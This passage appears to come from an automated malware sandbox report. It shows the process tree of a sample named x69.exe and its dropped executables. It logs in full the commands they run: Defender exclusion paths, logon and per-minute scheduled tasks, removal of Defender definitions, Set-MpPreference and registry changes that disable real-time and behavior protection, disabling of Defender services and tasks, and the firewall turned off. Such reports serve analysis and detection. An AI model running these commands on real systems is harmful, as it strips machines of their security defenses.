                                                                                  PID:3096
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                  1⤵
                                                                                    PID:3128
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                    1⤵
                                                                                      PID:3424
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                      1⤵
                                                                                        PID:3584
                                                                                      • C:\Windows\Explorer.EXE
                                                                                        C:\Windows\Explorer.EXE
                                                                                        1⤵
                                                                                        • Modifies Internet Explorer settings
                                                                                        • Modifies registry class
                                                                                        • Suspicious behavior: AddClipboardFormatListener
                                                                                        • Suspicious behavior: GetForegroundWindowSpam
                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                        • Suspicious use of SendNotifyMessage
                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                        PID:3664
                                                                                        • C:\Users\Admin\AppData\Local\Temp\x69.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\x69.exe"
                                                                                          2⤵
                                                                                          • Checks computer location settings
                                                                                          • Adds Run key to start application
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:5348
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\x69.exe'
                                                                                            3⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:5712
                                                                                          • C:\Windows\System32\schtasks.exe
                                                                                            "C:\Windows\System32\schtasks.exe" /Create /F /TN "x69" /SC ONLOGON /TR "C:\Users\Admin\AppData\Roaming\x69.exe" /RL HIGHEST
                                                                                            3⤵
                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                            PID:4796
                                                                                          • C:\Users\Admin\AppData\Roaming\x69.exe
                                                                                            "C:\Users\Admin\AppData\Roaming\x69.exe"
                                                                                            3⤵
                                                                                            • Checks computer location settings
                                                                                            • Drops startup file
                                                                                            • Executes dropped EXE
                                                                                            • Adds Run key to start application
                                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:3640
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\x69.exe'
                                                                                              4⤵
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              PID:2492
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'x69.exe'
                                                                                              4⤵
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              PID:5472
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\x69.exe'
                                                                                              4⤵
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              PID:5252
                                                                                            • C:\Windows\System32\schtasks.exe
                                                                                              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "x69" /tr "C:\Users\Admin\AppData\Roaming\x69.exe"
                                                                                              4⤵
                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                              PID:932
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\x69Disable-winDefender.exe'
                                                                                            3⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:5872
                                                                                          • C:\Windows\System32\schtasks.exe
                                                                                            "C:\Windows\System32\schtasks.exe" /Create /F /TN "x69Disable-winDefender" /SC ONLOGON /TR "C:\Users\Admin\AppData\Roaming\x69Disable-winDefender.exe" /RL HIGHEST
                                                                                            3⤵
                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                            PID:2392
                                                                                          • C:\Users\Admin\AppData\Roaming\x69Disable-winDefender.exe
                                                                                            "C:\Users\Admin\AppData\Roaming\x69Disable-winDefender.exe"
                                                                                            3⤵
                                                                                            • Checks computer location settings
                                                                                            • Executes dropped EXE
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:3192
                                                                                            • C:\Users\Admin\AppData\Local\Temp\izTLZKj.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\izTLZKj.exe
                                                                                              4⤵
                                                                                              • Checks computer location settings
                                                                                              • Executes dropped EXE
                                                                                              • Drops file in Program Files directory
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:4008
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\020251ea.bat" "
                                                                                                5⤵
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:3268
                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                  6⤵
                                                                                                    PID:3256
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7271.tmp\7272.tmp\7273.bat C:\Users\Admin\AppData\Roaming\x69Disable-winDefender.exe"
                                                                                                4⤵
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:6028
                                                                                                • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                  "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true
                                                                                                  5⤵
                                                                                                    PID:5160
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:2092
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:1252
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:232
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:5300
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:1656
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:4124
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:5680
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:1760
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    PID:5416
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    PID:5072
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Set-MpPreference -MAPSReporting 0"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    PID:5928
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    PID:6712
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    PID:5160
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    PID:4164
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    PID:524
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -command "Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    PID:6340
                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                                                                                      6⤵
                                                                                                        PID:3648
                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      powershell.exe -command "REG ADD ΓÇ£hklm\software\policies\microsoft\windows defenderΓÇ¥ /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
                                                                                                      5⤵
                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                      PID:568
                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD ΓÇ£hklm\software\policies\microsoft\windows defenderΓÇ¥ /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                                                                                        6⤵
                                                                                                          PID:7076
                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        powershell.exe -command "netsh advfirewall set allprofiles state off"
                                                                                                        5⤵
                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                        PID:7136
                                                                                                        • C:\Windows\system32\netsh.exe
                                                                                                          "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
                                                                                                          6⤵
                                                                                                          • Modifies Windows Firewall
                                                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                                                          PID:6808
                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                        reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                                                                                        5⤵
                                                                                                          PID:696
                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                                                                                          5⤵
                                                                                                          • Modifies Windows Defender DisableAntiSpyware settings
                                                                                                          PID:5684
                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                                                                                          5⤵
                                                                                                            PID:2888
                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                                                                                            5⤵
                                                                                                              PID:2080
                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                                                                              5⤵
                                                                                                              • Modifies Windows Defender Real-time Protection settings
                                                                                                              PID:6864
                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                                                                              5⤵
                                                                                                              • Modifies Windows Defender Real-time Protection settings
                                                                                                              PID:5800
                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                                                                              5⤵
                                                                                                              • Modifies Windows Defender Real-time Protection settings
                                                                                                              PID:4988
                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                                                                              5⤵
                                                                                                              • Modifies Windows Defender Real-time Protection settings
                                                                                                              PID:5284
                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                                                                              5⤵
                                                                                                              • Modifies Windows Defender Real-time Protection settings
                                                                                                              PID:3716
                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                                                                              5⤵
                                                                                                                PID:5740
                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                                                                                5⤵
                                                                                                                  PID:5216
                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                                                                                  5⤵
                                                                                                                    PID:5660
                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                                                                                                                    5⤵
                                                                                                                      PID:3512
                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                      reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                                                                      5⤵
                                                                                                                        PID:4460
                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                                                                        5⤵
                                                                                                                          PID:1992
                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                          schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                                                                          5⤵
                                                                                                                            PID:5304
                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                                                                            5⤵
                                                                                                                              PID:2052
                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                                                                              5⤵
                                                                                                                                PID:540
                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                                                                                5⤵
                                                                                                                                  PID:896
                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                  schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                                                                                  5⤵
                                                                                                                                    PID:1332
                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                                                                                                                    5⤵
                                                                                                                                      PID:6152
                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                      reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                                                                                                                      5⤵
                                                                                                                                        PID:6216
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                                                                        5⤵
                                                                                                                                        • Modifies registry class
                                                                                                                                        PID:4824
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                                                                        5⤵
                                                                                                                                        • Modifies registry class
                                                                                                                                        PID:1560
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                                                                        5⤵
                                                                                                                                        • Modifies registry class
                                                                                                                                        PID:6268
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                                                        5⤵
                                                                                                                                        • Modifies Security services
                                                                                                                                        PID:4716
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                                                        5⤵
                                                                                                                                        • Modifies Security services
                                                                                                                                        PID:6336
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                                                        5⤵
                                                                                                                                        • Modifies Security services
                                                                                                                                        PID:5032
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                                                        5⤵
                                                                                                                                        • Modifies Security services
                                                                                                                                        PID:6220
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                                                        5⤵
                                                                                                                                        • Modifies security service
                                                                                                                                        PID:5504
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\x69install.exe'
                                                                                                                                    3⤵
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:2692
                                                                                                                                  • C:\Windows\System32\schtasks.exe
                                                                                                                                    "C:\Windows\System32\schtasks.exe" /Create /F /TN "x69install" /SC ONLOGON /TR "C:\Users\Admin\AppData\Roaming\x69install.exe" /RL HIGHEST
                                                                                                                                    3⤵
                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                    PID:568
                                                                                                                                  • C:\Users\Admin\AppData\Roaming\x69install.exe
                                                                                                                                    "C:\Users\Admin\AppData\Roaming\x69install.exe"
                                                                                                                                    3⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                    PID:1568
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\iyMbXS.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\iyMbXS.exe
                                                                                                                                      4⤵
                                                                                                                                      • Checks computer location settings
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:1368
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1c955ede.bat" "
                                                                                                                                        5⤵
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        PID:776
                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          6⤵
                                                                                                                                            PID:1364
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\x69.exe
                                                                                                                                    2⤵
                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                    PID:4944
                                                                                                                                    • C:\Users\Admin\AppData\Roaming\x69.exe
                                                                                                                                      C:\Users\Admin\AppData\Roaming\x69.exe
                                                                                                                                      3⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:1332
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\x69Disable-winDefender.exe
                                                                                                                                    2⤵
                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                    PID:5816
                                                                                                                                    • C:\Users\Admin\AppData\Roaming\x69Disable-winDefender.exe
                                                                                                                                      C:\Users\Admin\AppData\Roaming\x69Disable-winDefender.exe
                                                                                                                                      3⤵
                                                                                                                                      • Checks computer location settings
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                      PID:2368
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\71A6.tmp\71A7.tmp\71A8.bat C:\Users\Admin\AppData\Roaming\x69Disable-winDefender.exe"
                                                                                                                                        4⤵
                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                        PID:3792
                                                                                                                                        • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                                                          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection $true
                                                                                                                                          5⤵
                                                                                                                                            PID:400
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:5548
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:1984
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:2140
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:5060
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:1784
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:376
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:556
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:4896
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            PID:1440
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            PID:3124
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -MAPSReporting 0"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            PID:1844
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            PID:6668
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            PID:2400
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            PID:4456
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            PID:6224
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell.exe -command "Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
                                                                                                                                            5⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            PID:6664
                                                                                                                                            • C:\Windows\system32\reg.exe
